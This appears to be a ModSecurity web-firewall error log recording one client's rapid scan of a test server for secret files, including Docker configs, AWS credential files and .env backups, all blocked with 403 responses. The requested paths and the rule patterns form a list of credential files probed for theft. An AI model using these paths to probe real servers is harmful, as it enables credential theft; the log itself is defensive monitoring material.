[Sun Mar 22 01:05:59.869473 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhDQAAAAU&quot;]
[Sun Mar 22 01:05:59.869595 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhDQAAAAU&quot;]
[Sun Mar 22 01:05:59.936928 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhEAAAAAU&quot;]
[Sun Mar 22 01:05:59.937140 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhEAAAAAU&quot;]
[Sun Mar 22 01:05:59.937276 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhEAAAAAU&quot;]
[Sun Mar 22 01:05:59.959475 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/secrets.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/secrets.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhEQAAAAU&quot;]
[Sun Mar 22 01:05:59.959674 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/secrets.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhEQAAAAU&quot;]
[Sun Mar 22 01:05:59.959804 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/secrets.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhEQAAAAU&quot;]
[Sun Mar 22 01:06:00.210559 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhHAAAAAU&quot;]
[Sun Mar 22 01:06:00.210788 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhHAAAAAU&quot;]
[Sun Mar 22 01:06:00.210933 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhHAAAAAU&quot;]
[Sun Mar 22 01:06:00.255790 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhHgAAAAU&quot;]
[Sun Mar 22 01:06:00.255998 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhHgAAAAU&quot;]
[Sun Mar 22 01:06:00.256136 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhHgAAAAU&quot;]
[Sun Mar 22 01:06:00.507367 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhKQAAAAU&quot;]
[Sun Mar 22 01:06:00.507591 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhKQAAAAU&quot;]
[Sun Mar 22 01:06:00.507776 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhKQAAAAU&quot;]
[Sun Mar 22 01:06:00.530244 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.aws&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.aws&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhKgAAAAU&quot;]
[Sun Mar 22 01:06:00.530551 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.aws&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhKgAAAAU&quot;]
[Sun Mar 22 01:06:00.530728 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.aws&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhKgAAAAU&quot;]
[Sun Mar 22 01:06:00.737507 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3.key&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhMwAAAAU&quot;]
[Sun Mar 22 01:06:00.738020 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3.key&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhMwAAAAU&quot;]
[Sun Mar 22 01:06:00.738195 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3.key&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhMwAAAAU&quot;]
[Sun Mar 22 01:06:00.783468 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNQAAAAU&quot;]
[Sun Mar 22 01:06:00.783778 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s3/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNQAAAAU&quot;]
[Sun Mar 22 01:06:00.784039 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNQAAAAU&quot;]
[Sun Mar 22 01:06:00.784220 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNQAAAAU&quot;]
[Sun Mar 22 01:06:00.806653 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNgAAAAU&quot;]
[Sun Mar 22 01:06:00.806928 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNgAAAAU&quot;]
[Sun Mar 22 01:06:00.807105 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNgAAAAU&quot;]
[Sun Mar 22 01:06:00.829537 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /root/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNwAAAAU&quot;]
[Sun Mar 22 01:06:00.829816 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNwAAAAU&quot;]
